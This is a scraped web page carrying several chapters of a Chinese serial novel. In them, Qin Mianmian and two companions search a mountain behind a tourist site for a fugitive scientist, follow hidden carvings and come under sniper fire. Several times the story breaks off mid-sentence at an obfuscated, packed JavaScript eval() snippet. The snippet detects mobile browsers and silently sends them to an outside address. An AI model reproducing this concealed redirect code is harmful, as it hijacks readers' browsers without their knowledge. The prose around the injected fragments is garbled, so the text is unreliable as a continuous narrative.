很快,画面里出现了一个高挑的身影。 那女人正如叶子雯所说,帽子、墨镜、口罩,捂得严严实实,从头到尾没有露出一丝皮肤。 她动作利落,从办入住到进房间,全程不过几分钟,几乎没有跟任何人交流。 “看不清脸,这怎么确定?”叶子舟皱眉。 “是她。”张队身边的一个年长警员却斩钉截铁地开了口,“我们跟了她半年,她走路的姿势,习惯性用左手拎包的动作,错不了!” 张队点了点头,神情愈发严肃。 “她是什么时候离开的?” 姚祁将时间快进到第二天清晨五点多。 画面里,那个女人再次出现,依旧是那副打扮,背着一个不大的双肩包,迅速地在前台放下了房卡,然后就推门离开了客栈。 “立刻联系交管,查这个时间段所有离开客栈路口的车辆!”张队立刻下令。 然而,半个小时后,交管那边的回复却让所有人的心都沉了下去。 那个时间段,客栈门口的主路,没有任何出租车或私家车载客的记录。 “她没坐车?”秦绵绵立刻反应过来,“那她就是步行离开的。” “查景区监控!”张队当机立断。 电话打给赵立生,对方一听是警察办案,二话不说就开放了所有权限。 一行人又匆匆赶到景区监控中心。 巨大的屏幕墙上,上百个监控画面密密麻麻。赵立生亲自坐镇,配合着警方,将客栈附近以及整个景区的所有摄像头,都切换到那个时间点。 天色蒙蒙亮,清晨的景区还很安静。 他们很快就在一条通往景区后门的小路上,捕捉到了那个熟悉的身影。 她走得很快,像个早起锻炼的游客,融入晨曦的薄雾中。 画面一个接一个地切换,那个身影在庞大的景区里穿行,路线却十分诡异,专挑没有保安巡逻的僻静小路走。 最终,她的身影出现在了景区最西侧的角落。 那是一片尚未完全开发的区域,紧挨着连绵的群山。为了防止游客误入,周围都围着半人高的栅栏。 然而画面中,那个女人走到了栅栏一处不起眼的破损处,左右观察了一下,便敏捷地翻了过去,身影迅速消失在一片茂密的树林里。 树林的后面,就是一望无际的深山。 那里,再没有任何监控。 人,就这么凭空消失在了深山里。 张队立刻雷厉风行地带人进了后山,监控室里紧绷的空气,这才像被扎破的气球,伴随着众人压低的议论声,松懈下来。 “这都什么事啊……飞天大盗都出来了。”叶子舟心有余悸地拍了拍胸口。 “是啊,还好只住了一晚就走了,不然跟这么个危险人物住一个屋檐下,想想都后怕。”叶子雯也跟着附和。 一直陪着警察、帮忙协调的赵立生,此时却摸着下巴,一副若有所思的样子,他叹了口气,颇为感慨地开了口。 “唉,说起这国宝**案,倒是让我想起一桩咱们青海湖的陈年旧案了。” 他一开口,就带着当地人特有的那种讲述掌故的腔调,成功吸引了众人的注意。 “想当年,咱们这后山里头,藏着一处很隐秘的石窟,里头供着一尊前朝传下来的大佛,那叫一个宝相庄严。可不知道怎么就被歹人摸清了道,一夜之间,就把那尊最大的佛像的佛头给盗走了。” 赵立生咂了咂嘴,一脸惋惜,“那可是个大案子,惊动了上头!可是查了好几年,都没有结果,就没消息了……那案子应该到现在都没破,那佛头啊,也就这么下落不明了。” 众人听得入了神。 可站在一旁的秦绵绵,在听到“后山”、“石窟”、“佛头”这几个字眼时,心里却像是被什么东西轻轻拨动了一下。 她的脑海里,莫名浮现出那个女盗贼在监控里,熟门熟路地翻过栅栏,消失在深山里的画面。 …… 回到客栈,众人各自散去忙碌。 秦绵绵回到柜台后,心里还在琢磨着赵立生说的那桩旧案。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874040|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在这时,一辆黑色的越野车近乎粗暴地刹停在了客栈门口,激起一片尘土。 车门推开,姜敬意几乎是从车上跳下来的。 他一身风尘仆仆,眉宇间带着显而易见的焦灼和疲惫。 “四叔?”秦绵绵迎了上去,有些意外。 “绵绵。”姜敬意快步走到她面前,姚祁刚想倒杯水递过去,却被他摆手拒绝了。 他连口水都顾不上喝,从贴身的口袋里,掏出一张已经有些泛黄卷边的旧照片,直接摊在秦绵绵眼前。 “见过她没有?” 照片上,是一个笑得明媚张扬的年轻女子,一双凤眼,顾盼生辉。 众人闻声围了过来,只看了一眼,便齐齐发出了错愕的惊呼。 叶子舟更是脱口而出:“这不就是……警察要找的那个女人吗?!” “姜先生,你怎么也有她的照片?”他一脸好奇地问,“您也是来抓贼的?” 姜敬意闻言,脸色倏地一紧。 他警惕地扫视了一圈人声嘈杂的大堂,一把拉住秦绵绵的手腕,沉声道:“这里不是说话的地方,跟我来。” 秦绵绵被他带到二楼无人房间。 门一关上,隔绝了外面的喧嚣。 姜敬意脸上的焦灼不减分毫,他看着秦绵绵,声音压得极低,却字字如雷。 “她不是贼。” “她就是我跟你提过的,我找到的那个能帮你的人。” 秦绵绵的瞳孔猛地一缩。 她想起四叔电话里说的那个“比罗母更厉害的研究员”。 可…… “一个顶尖的科学家,为什么会和国宝**案扯上关系?” “我也不知道。”姜敬意烦躁地揉了揉眉心,脸上竟闪过一丝古怪又扭捏的神情。 “这其中的原委,恐怕只有找到她才能问清楚了。我只能告诉你……这个女人,是罗母的师姐。” “当年在学校,她们俩并称双花,长的又好看,还天赋绝伦。”姜敬意的声音里带着一丝复杂的意味,“而且,所有人都说,师姐的天分,还在师妹之上。” 第284章 隐秘的石窟 “这些年罗母一直在研究,她也没松懈过。罗母的实验室在京城,她的实验室却在西北荒芜之地,她就窝在那里研究了二十年!连罗母都不知道她的研究进行到什么地步了,但偏偏……” 秦绵绵接口:“但偏偏四叔你知道,是吗?” 眼看姜敬意的这个样子,秦绵绵就已经猜得到,这个女人跟他的关系,绝对不一般。 果然姜敬意又露出了那副古怪扭捏的神情,甚至还有点回避: “没错。总之,只要找到她,就一定能帮到你!” 姜敬意那副样子,秦绵绵没再追问他和那个女人是什么关系,只是盯着他那双布满红血丝的眼睛,直接切入正题:“我们怎么做?必须抢在警察前面?” “必须!”姜敬意斩钉截铁,“被警察找到,一切都完了。” 他来回踱了两步,像是要将心头的烦躁踩在脚下,半晌才停住,看向秦绵绵。 “我知道你想问她怎么帮你。罗母的研究方向,是试图用巨大的能量撕开时空的裂缝,强行把人送过去。但林鸢……就是那个女人,她的理论完全不同。” 姜敬意的语速很快,似乎生怕时间不够用。 “她认为时空穿梭的关键,不在于能量,而在于‘锚点’。” “锚点?”秦绵绵蹙眉。 “对,锚点。就像船要停靠在港口,需要抛锚一样。”姜敬意打了个比方,“她认为在特定的时空坐标下,会存在一些极其特殊的物质。这些物质就是稳定时空航道的‘锚’。只要找到这些‘锚’,就能建立一条相对稳定的通道。罗母那是开山炸路,她这是……精准定位。” 特殊物质……特定时空坐标…… 这几个字眼,像是一道微弱的电光,猛地击中了秦绵绵的记忆。 她脑海里忽然闪过赵立生下午在监控室里,带着几分惋惜和吹嘘讲的那个故事。 后山……隐秘的石窟……被盗走的佛头…… 秦绵绵的呼吸陡然一滞。 她似乎能猜到,林鸢为什么要冒着天大的风险,去盗那件所谓的国宝了。 那根本不是为了钱。 那件国宝,一定跟后山的石窟有什么隐秘的联系。 而她现在躲进深山,也不是为了藏匿,她有明确的目的地——后山的那座石窟。 …… 楼下大堂,气氛有些压抑。 张队带着几个年轻警员刚从后山退下来,一个个灰头土脸,满身疲惫地坐在角落的卡座里。 叶子舟眼疾手快地给他们一人倒了杯凉茶。 “张队,怎么样了?”姚祁走过去,低声问道。 张队端起茶杯灌了一大口,眉头拧成个疙瘩:“难。那片山太大了,植被又密,跟大海捞针没什么区别。” 他身边一个年轻警员忍不住抱怨:“咱们这点人手撒进去,连个水花都听不见。队长已经跟市里申请了,无人机和热成像仪最快也得明天早上才能调过来。” “不错,等设备来了,我们一定能有所收获!”张队把杯子重重往桌上一放,语气不容置疑。 他们的对话声不大,却一字不落地飘进了刚从楼梯上下来的秦绵绵耳朵里。 无人机……热成像。 秦绵绵的心沉了下去。她知道,自己必须赶在这些现代化的侦察设备到位之前,找到林鸢。 趁着人多,秦绵绵悄无声息地从后院离开了客栈,直奔赵立生那边。 “赵叔,忙着呢?” 赵立生见是她,连忙站起身,笑呵呵地让出一个位置:“秦丫头,快坐。看你这几天都累瘦了,项目上的事,也别太操心了。” “项目已经收尾,还好。”秦绵绵顺势坐下,状似不经意地开口,“倒是今天这事,给了我个新想法。” 她话锋一转,看向赵立生:“我在想,咱们景区配套的旅游项目,是不是可以再开发一下。比如,搞一条后山的徒步探险路线,专门吸引那些喜欢户外运动的年轻人。” 赵立生虽然年纪大一点,但脑子很是活泛,很能接受新鲜事物,也没被警察的大阵仗吓住,反而一下子就认定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885710|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是个机遇。 顿时眼睛一亮,一拍大腿:“哎哟!这个好!这个想法好啊!现在城里人都好这口,花钱找罪受!” “所以,想请赵叔帮个忙。”秦绵绵笑了笑,终于说出了自己的目的,“能不能给我一份后山最详细的地形图?我想先研究一下路线的可行性。另外……我记得您下午提过,后山里那座石窟,我觉得我们也能拿来做做文章,那石窟具体在哪呢?” 赵立生却眉头一皱:“你别看我也住这儿,其实我是后搬来的,我还真没怎么去过后山,那石窟具体在哪儿……我还真说不太准,很多年没人去过了。” 他挠了挠头,似乎有些犯难。 就在秦绵绵心头微沉时,赵立生忽然又想起了什么: “不过你问对人了。景区里那些弯弯绕绕我不熟,但要说这后山,有个活地图!咱们景区看大门的那个周大爷,本地人,年轻时候是山里的猎户,那座山他闭着眼睛都能走个来回!你想知道什么,问他准没错!” 秦绵绵找到周大爷的时候,他正靠在张掉漆的藤椅上,眯着眼听收音机里咿咿呀呀的戏文,脚边卧着条土黄色的老狗。 “周大爷,跟您打听个事儿。我想开发一条后山的徒步路线,赵叔说您是这山里的活地图,想请您给指指路。尤其是,我听说山里头有个老石窟,要是能串进路线里,肯定是个好噱头。” 周大爷似乎很意外,终于睁开了眼:“小秦丫头,你问这个做什么?那地方邪性,去不得。” “怎么个邪性法?” “几十年前丢了佛头,打那以后,进去的人不是摔断腿就是迷路,好几年没人敢去了。”周大爷说着,坐直了些,目光落在她脸上,“小姑娘家家的,别瞎折腾。” 但秦绵绵却偏偏是要折腾。 半晌,周大爷那她没有办法,终于还是告诉了她。 “从景区西边那片破栅栏进去,顺着野猪踩出来的小道往上走,看到三棵长在一起的老松树,就往左拐,趟过一条溪,再翻过一道山梁……就能看见了。” 第285章 曾经是恋人 回到客栈,秦绵绵立刻找到了等在后院的姜敬意。 她把周大爷说的小路复述了一遍。 “事不宜迟,我们必须在天亮前出发。”姜敬意的神色没有半点放松,反而因为有了明确目标而绷得更紧。 “我跟你们去。” 姚祁的声音从他们身后传来。 他手里提着两个黑色的登山包,自己背上还背着一个。 “不行。”秦绵绵想也不想地拒绝,“后山情况不明,太危险了,你留在客栈。” 姚祁没有跟她争辩。 他只是走上前,将其中一个稍显小巧的背包递到秦绵绵面前,又把另一个递给了一脸焦躁的姜敬意。 他拉开自己背包的拉链,露出里面码放整齐的绳索、强光手电、压缩饼干和急救用品,装备专业而齐全。 “我查过那片山区的资料,夜里温度低,地形复杂,多一个人多一份力。”他的声音不高,却有着不容拒绝的镇定。 秦绵绵看着他沉静的眼睛,拒绝的话堵在了喉咙里。 她知道,姚祁一旦做了决定,九头牛也拉不回来。 更何况,他说的是事实。 有他在,确实能应付更多突发状况。 她沉默地接过了背包,算是默许。 就在这时,叶子舟和朱七妹也匆匆从屋里赶了出来,脸上满是担忧。 “掌柜的,我们也要去!多个人多份照应!” “不行。”这次秦绵绵的拒绝更加干脆,她看着两人焦急的脸,放缓了语气,“张队他们今晚住在客栈,客栈里的人要是突然都消失了,他们第一个就会察觉。你们得留下,跟平时一样,这是帮我最大的忙。” 这个理由无懈可击,叶子舟和朱七妹对视一眼,只能接受。 姜敬意已经等得不耐烦,催促道:“快走吧,再晚天就要黑了!” 秦绵绵点点头,最后看了一眼客栈,转身和姚祁、姜敬意一起,迅速消失在了逐渐暗下来的暮色里。 …… 秦绵绵三人避开了所有主路和监控,按照周大爷的指引,从景区西侧那处不起眼的栅栏破损处,悄无声息地钻了进去。 山林里的路,比想象中更难走。 脚下是厚厚的腐叶,一脚踩下去软绵绵的,深浅不知。 山上愈发昏黑,四周是密不透风的树影,像无数沉默的鬼魅。 姜敬意显然心急如焚,一路上几乎是埋头猛冲,好几次都差点被藤蔓绊倒。 在一处陡坡,他脚下一滑,整个人不受控制地朝前扑去,虽然堪堪稳住身形,手掌却在一块尖锐的岩石上狠狠划过。 “嘶——” 他疼得倒抽一口冷气。 “四叔!” 秦绵绵立刻上前扶住他,借着微弱的天光,看到他掌心已经是一片血肉模糊。 她二话不说,从背包里翻出姚祁准备的急救包,拉着他坐在一棵树下,熟练地用酒精棉球帮他清理伤口。 “我没事,走就行!”姜敬意拧着眉,想把手抽回来。 秦绵绵却按住他的手腕,她没抬头,一边用纱布给他包扎,一边轻声开口。 “四叔,你和林鸢,到底是什么关系?” 姜敬意的身体,在那一瞬间,僵住了。 他看着秦绵绵低垂的眉眼,昏暗的光线在她脸上投下斑驳的影子。 半晌,他才发出一声近乎叹息的苦笑,那张带着几分焦躁的脸上,第一次露出了全然的疲惫和落寞。 “她……”他顿了顿,声音沙哑,“是我的老同学而已。” “老同学?”秦绵绵手上的动作没停,力道却不自觉地重了几分,惹得姜敬意又是一声闷哼。 她没抬头,声音在静谧的山林里显得格外清晰。 “我记得几年前,四叔你去给南边赵家看祖坟风水,被人设局陷害,说是你破了人家的龙脉,几十号人把你堵在祠堂里,差点就出不来了。那会儿那么危险,我也没见你这么慌过神。” 她手下利落地打了个结,终于抬起眼,目光在昏暗中像两点寒星,直直地望进姜敬意躲闪的眼睛里。 “一个老同学,能让你乱成这样?” 姜敬意的喉结上下滚动了一下,想说点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她拉着还想嘴硬的姜敬意重新坐下,又从背包里拿出一瓶水递给他。 “好了好了,我帮您,帮您追回来还不行吗?” “不过您这眼光是真不错,能让您惦记这么多年的人,肯定不一般。” 她说着,还扭头看了一眼旁边始终沉默,却将一切尽收眼底的姚祁,朝他挤了挤眼睛。 “姚祁,你说是不是?咱们四叔,还挺痴情的。” 第286章 记号 姚祁看着姜敬意那副窘迫又羞恼的模样,桃花眼一弯,极快地掠过一丝笑意。 姜敬意彻底没脾气了,他接过水,仰头灌了一大口,像是要把满腔的窘迫和烦躁都冲进肚子里。 林子里的气氛,因为这个小插曲,反倒没那么紧绷了。 短暂的休整后,三人重新上路。 这一次,姜敬意的脚步虽然依旧很快,但那股子六神无主的慌乱,却悄然散去了不少。 夜色,像是浓稠的墨,一滴一滴地晕染开来,很快就吞噬了山林间最后一丝天光。 山路变得愈发崎岖难辨,三人只能靠着姚祁手里那支专业强光手电,在黑暗中艰难地开辟出一条路。 之前那个关于“旧情复燃”的小插曲,带来的轻松荡然无存,取而代之的,是愈发沉重的寂静。 姜敬意不再冒失前冲,他紧跟在姚祁身后,手电光束之外的黑暗,仿佛潜伏着无数未知的危险,让他这位见惯大场面的人,也忍不住频频警惕地扫视四周。 姚祁走在最前面,一手持着手电,一手拿着一根削尖的木棍拨开前方的藤蔓和蛛网,他的步伐沉稳,成了这片黑暗中唯一的节奏。 不知走了多久,前方出现了一条岔路。手电光照过去,两条小径都淹没在更深邃的黑暗里,看起来并无不同。 “周大爷没说有岔路吧。”姜敬意喘着粗气,声音里透着一丝焦躁。 姚祁停下脚步,用光束来回扫射着两条路的路口,试图找出一些人为走过的痕迹,却一无所获。 秦绵绵的目光,却被岔路口边上一块半人高的青石吸引了。 那石头上布满青苔,平平无奇,但就在她视线扫过石头底座的一个不起眼的角落时,脚步忽然顿住了。 她走上前,蹲下身,伸出手指拂去上面的一层薄薄的湿泥。 一个微小的,几乎与岩石纹理融为一体的刻痕显露了出来。 那是一个极简的图案,像是一枚铜钱,却在圆孔的位置多了一道极细的短横。 在手电筒惨白的光线下,那个记号仿佛带着某种诡异的生命力,狠狠地刺痛了秦绵绵的眼睛。 她呼吸一滞。 这个记号,她认得。 那是罗小胖还在世时,有一次两人一起去淘换旧货,他神神秘秘地教给她的。 他说这是古玩行当里一些老师傅才会用的暗标,叫“过眼钱”,意思是“此物我看过,内有门道”。 手法隐蔽,外人极难发现。 “怎么了?”姚祁见她半天不动,关切地问了一句。 秦绵绵没有回答,她用指尖反复摩挲着那个冰冷的刻痕,一股寒意顺着指尖,瞬间窜遍了全身。 罗小胖……他来过这里。 他什么时候来的? 他为什么要在这里留下记号? 他生前在调查什么? 或者说,他知道了些什么? 关于这座后山,关于那个石窟,关于那尊被盗走的佛头…… 无数的疑问像是被投入湖面的石子,在她脑海里激起一圈又一圈混乱的涟漪。 “这个记号,”秦绵绵终于开了口,“是罗小胖留下的。” 姜敬意和姚祁同时一怔。 “什么?” “不可能吧,”姜敬意立刻反驳,“他一个厨子,跑这深山老林里来做什么?” 话音落下,他又很快后悔了。 罗小胖或许与这些事没有关系,但是罗母就不一定了。 姚祁没说话,只是将手电的光更亮地打在那个记号上,眉头紧紧地锁了起来。 他相信秦绵绵的判断。 秦绵绵摇了摇头,心里有点乱。 就在三人被这个突如其来的发现震在原地时,下一瞬,秦绵绵的瞳孔猛地一缩,她几乎是凭着本能,低嘶出声: “趴下!” 话音未落,远处山林深处,传来一声极其轻微,却又无比清晰的“噗”的一声响。 三人急速卧倒。 几乎就在同时,一颗**带着尖啸,擦着姜敬意刚刚站立的位置飞过,狠狠地钉进了他们身后的那棵大树里。 木屑和树皮炸开,像一场突如其来的冰雹,劈头盖脸地溅在三人身上。 冰冷的杀意,混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885712|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着硝烟的味道,在潮湿的山林空气里倏然弥漫。 姜敬意几乎是魂飞魄散,下意识地想动。 “别动!” 是姚祁的声音,压得极低,像贴着地面滚过的石子。 他整个人都覆在秦绵绵身上,用自己的身体将她护得严严实实,另一只手则紧紧抓着姜敬意的后衣领,将他也牢牢钉在腐叶丛里。 黑暗中,万籁俱寂。 只有三人粗重的呼吸声,和心脏擂鼓般狂跳的声音。 谁也没说话,谁也不敢动。 那隐藏在暗处的眼睛,就像一条毒蛇,冰冷的视线正紧紧缠绕着他们,等待着下一次出击。 时间,仿佛被拉扯得无比漫长。 就在姜敬意快要憋不住气的时候,那熟悉的,轻微的“噗”声,再次响起。 又一发**,几乎是擦着他们藏身的那块青石边缘飞了过去,没入远处的黑暗里,只留下一声沉闷的撞击。 这一枪,准头偏得离谱。 姜敬意浑身一僵,紧绷的神经反而因为这离谱的一枪,出现了一丝裂缝。 姚祁按着他的手也微微松了些。 “他看不见我们。”姚祁的声音带着确信,他飞快地扫了一眼四周,“没有热成像。” 如果对方有热成像仪,在这漆黑的山林里,他们三个活生生的人就是三个发光的人形靶子,根本无所遁形。第二枪,绝不会打偏。 秦绵绵的心跳也慢慢平复下来,脑子飞速运转。 “他不是想杀我们。”她从姚祁的身下钻出来,声音冷静得可怕,“他是想把我们赶走。” 赶离这条正确的路。 姜敬意也反应过来了,他撑着地坐起身,脸色在黑暗中难看到了极点:“这……到底是什么人?!” “除了萧玦,还会有谁。”秦绵绵的语气里没有疑问,只有陈述。 她甚至觉得,不止萧玦。 能搞到枪,能找到这么专业的狙击手,还能精准地预判到他们的路线…… 罗母的身影,在她脑海里一闪而过。 他们……也许联手了。 第287章 另一条路 这个认知,让秦绵绵心底的寒意比刚才那颗**更甚。 “那我们现在怎么办?”姜敬意压着火气,“这条路不能走了,换条路?” “不能换。”秦绵绵一口回绝。 “对方这么大费周章地把我们往别的路上赶,恰恰证明,这条路就是唯一通往石窟的路。” “先离开这里。”姚祁当机立断,指了指侧后方一处地势下陷的山坳,“去那里,那里是射击死角。” 三人猫着腰,借着树影的掩护,一言不发地迅速转移到了那处山坳里。 山坳不大,刚好能容纳三人。 四周是陡峭的土壁和交错的树根,将他们与外界的视线彻底隔绝开。 安全了,但也彻底被困住了。 手电不能开,路不敢走,敌人在暗,他们在明。 姜敬意烦躁地在狭小的空间里来回走了两步,终于忍不住,一拳砸在土壁上,闷声道:“难道就这么干等着?等到天亮,警察一上来,什么都完了!林鸢她……” 姚祁没说话,他靠着土壁,耳朵微微动着,像一头警觉的豹子,仔细分辨着林子里的任何一丝风吹草动。 秦绵绵却反而坐了下来。 她靠着冰凉的土壁,闭上了眼睛。 四周的黑暗不再是纯粹的威胁,反而像一张网,兜住了她纷乱的思绪。 罗小胖……那个记号…… 她脑海里忽然闪过一个画面。 那是罗小胖出事后,她去整理他的遗物,在他那个塞满了各种“假古董”和破烂的箱子底下,翻出过一本破旧不堪的书。 书页泛黄发脆,封皮都烂掉了,只勉强能看清几个字——《安陵县志》。 当时她只当是罗小胖不知从哪个旧书摊上淘换来的杂书,随手就放在了一边。 可现在,在死寂的山坳里,那本县志里的某一页,却无比清晰地在她脑中浮现。 是一张手绘的、早已废弃的古迹地图。 地图上标注着好几处“荒祠”“废塔”“古道口”,都是些早就湮没在荒草山林里的名字。 而罗小胖,曾用极淡的铅笔,在其中几个位置上,画了小小的圈。 秦绵绵的心脏,猛地一跳。 那个“过眼钱”的记号,那个岔路口的位置……如果她没记错,恰好就是地图上一个被圈起来的,名为“望风台”的古迹遗址! 一个荒诞又大胆的念头,像闪电一样劈开了她脑中的迷雾。 如果,把那些被罗小胖圈起来的古迹,按顺序连接起来呢? 那会不会……是另一条路? 一条不为人知,甚至连当地人都不再记得的,通往后山深处的古道! “我知道怎么走了。” 秦绵绵猛地睁开眼,声音不大,却像一颗石子投进死水里,让另外两人瞬间朝她看来。 她看着他们,将自己的猜测飞快地说了一遍。 “罗小胖生前肯定发现了什么,他不敢明着记下来,就把线索藏在了那本地图里。那个记号,不是留给我们看的,是他给自己做的路标。他沿着这条古道在调查,很可能已经非常接近真相了……” 姜敬意听得瞠目结舌,半晌才找回自己的声音,带着一丝难以置信:“你是说……我们要靠一个厨子留下来的、藏在一本破书里的地图去找路?” “那也比在这里等死强!”秦绵绵打断他,目光灼灼,“而且对方的**,守住的是周大爷说的那条路。他们根本想不到,我们还有第二条路可走!” 姜敬意被她眼里的光震住了,所有质疑的话都堵在了喉咙里。他看向姚祁,想从这个冷静的男人脸上看到一丝反对。 姚祁却只是微微笑着看了看秦绵绵,片刻后,缓缓地点了点头。 “怎么做?”他问。 “将计就计。”秦绵绵立刻道,“我们假装被吓破了胆,选另一条岔路逃走。动静搞大点,让他们以为我们上当了。然后绕个圈子,从侧面摸回到那个‘望风台’,再去找下一个记号。” “好。”姚祁的回答没有半点犹豫。 他伸手,将秦绵绵从地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889697|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上拉了起来,又拍了拍还在发愣的姜敬意的肩膀。 “听她的。准备走了。” 姜敬意脖子一梗,像是被姚祁这理所当然的语气刺激到了,但看着秦绵绵那双写满坚信的眼睛,最终还是相信了她。 三人对视一眼,再没有多余的废话。 姚祁在前,故意用脚踩断枯枝,发出清晰的“咔嚓”声。姜敬意跟在后面,也故意弄出不小的动静,甚至还压着嗓子,含混不清地骂了两句,像是在抱怨选错了路。 他们就这么“慌不择路”地冲进了那条错误的岔路。 跑出百十米远,确定已经脱离了可能的监视范围,姚祁猛地一抬手。 三人瞬间停步,闪身躲进了一片浓密的灌木丛后。 林子里恢复了死寂。 风声,虫鸣,还有远处那若有似无的窥探感……似乎都随着他们的“逃离”而消失了。 姚祁侧耳听了许久,才回头,冲秦绵绵和姜敬意比了个安全的手势。 他关掉了手电,整个世界彻底沉入纯粹的黑暗。 “跟着我,”他的声音像贴着地面传来,“抓紧,别出声。” 三人像三道真正的鬼影,悄无声息地脱离了小径,转身一头扎进了无人涉足的、更深邃的黑暗山林之中,朝着记忆中那个“望风台”的方向,悄悄绕行而去。 绕开那条错误的岔路,重新潜回到“望风台”的过程,比想象中更加耗费心神。 林子里伸手不见五指,姚祁彻底关掉了手电,三人只能凭着记忆和对彼此的信任,深一脚浅一脚地在黑暗中摸索。 脚下的枯枝败叶发出轻微的碎裂声,每一次都像在寂静中敲响了警钟,让姜敬意的心提到嗓子眼。 他好几次都想开口问到了没有,又硬生生把话咽了回去。 终于,姚祁停下了脚步。他抬手,在空中做了个“停止”的手势,身体紧贴着一块巨岩的阴影,侧耳倾听。 风声,虫鸣,再无其他。 他回过头,用气音对秦绵绵说:“到了。” 第288章 古道艰险 秦绵绵点点头,绕到青石正面。 她没有开灯,而是借着透过林叶缝隙漏下的、几乎可以忽略不计的月光,蹲下身,用手指在那片熟悉的石壁上摸索。 冰冷、粗糙、湿滑。 她的指尖一遍遍划过,像是在阅读盲文。 终于,在那个“过眼钱”记号的旁边,她摸到了一处更浅的刻痕。 是一个小小的箭头,指向左侧一条几乎被灌木完全封死的方向。 黝黑的夜色里,那里根本没有路。 姜敬意也凑过来看,黑暗里他什么都瞧不见,只觉得秦绵绵在对着一块破石头发呆,压着嗓子问:“怎么样?你那朋友到底靠不靠谱?” “要不四叔你来带路?”姚祁的声音从他身后传来,戏谑凉薄。 姜敬意脖子一缩,没再吭声。 秦绵绵站起身,没有理会两人的小动作,她的声音在夜色里有种笃定的力量。 “走这边。”她率先拨开身前比人还高的灌木丛,矮身钻了进去。 …… 所谓的古道,早已被岁月和荒草吞噬。 脚下根本没有路,只有厚厚的腐殖层,踩上去软得像陷进沼泽。 盘根错节的树根和垂落的藤蔓成了最致命的陷阱,每走一步都异常艰难。 姚祁重新走在最前面,他没有开手电,而是从背包里拿出了一根军用荧光棒,折亮后挂在胸前。 那幽绿色的微光,只能照亮身前一米见方的范围,却刚好足够看清脚下的路,又不会将光亮泄露出去太远。 走了约莫半个时辰,前方出现了一道断崖。 不算宽,约莫三四米,但下面就是深不见底的黑暗,光是听着风从崖下吹上来的呼啸声,就让人两腿发软。 姜敬意脸色发白,探头看了一眼,喉结就忍不住滚动了一下。 “这……这怎么过去?” 秦绵绵没说话,她只是解下背包,拿出绳索,找到崖边一棵足够粗壮的老树,三两下就将绳子固定好。 拽了拽,确认万无一失,然后将绳子另一端抛向对岸。 绳头带着配重,精准地缠在了对面一块凸起的岩石上。 她回身,把荧光棒递给姚祁,言简意赅:“我先过去,你们抓紧。” 话音未落,她双手抓着绳索,脚在崖壁上借力一蹬,整个人十分轻盈,几个起落就荡到了对面。 秦绵绵利落地固定好绳索,冲这边比了个“OK”的手势。 姚祁学着她的样子抓住了绳子。 他的动作远没有秦绵绵那般矫健,但胜在沉稳,一步一步地挪了过去。 轮到姜敬意时,他看着脚下那片虚无的黑暗,手心里全是冷汗。 他是上知天文下知地理,风水鉴宝都不在话下,可惜文的行武的却不太行,更没有见过这种阵仗。 “四叔,别往下看。”秦绵绵在对岸轻声喊道,“看着我们,抓紧绳子就行。” 姜敬意咬着牙,心一横,闭着眼睛就抓着绳子往前蹭。 他几乎是手脚并用地爬了过来,一踏上对面的实地,整个人就瘫坐在地上,大口大口地喘着粗气,脸色比刚才更难看。 秦绵地没笑他,只是默默递过去一瓶水。 休整片刻,继续前行。 每到一处可能迷路的地方,秦绵绵都能找到罗小胖留下的“过眼钱”记号。 那些记号,有的刻在树干不起眼的背面,有的画在石头的青苔底下,有的甚至是用几块小石子摆出的形状。 隐蔽,却又精准。 秦绵绵抚摸着一块石头上那熟悉的刻痕,心里一阵发酸。 那个平日里走两步路都要喘的胖子,当初是怀着怎样的心情,一个人在这条绝路上留下这些记号的?他到底在查什么?又是为了什么,不惜冒这样的风险? 又不知走了多久,幽绿的荧光棒也渐渐暗淡下去。 就在姜敬意觉得自己的腿已经不是自己的时候,走在最前面的姚祁,再次停下了脚步。 秦绵绵上前一步,顺着他的视线望去。 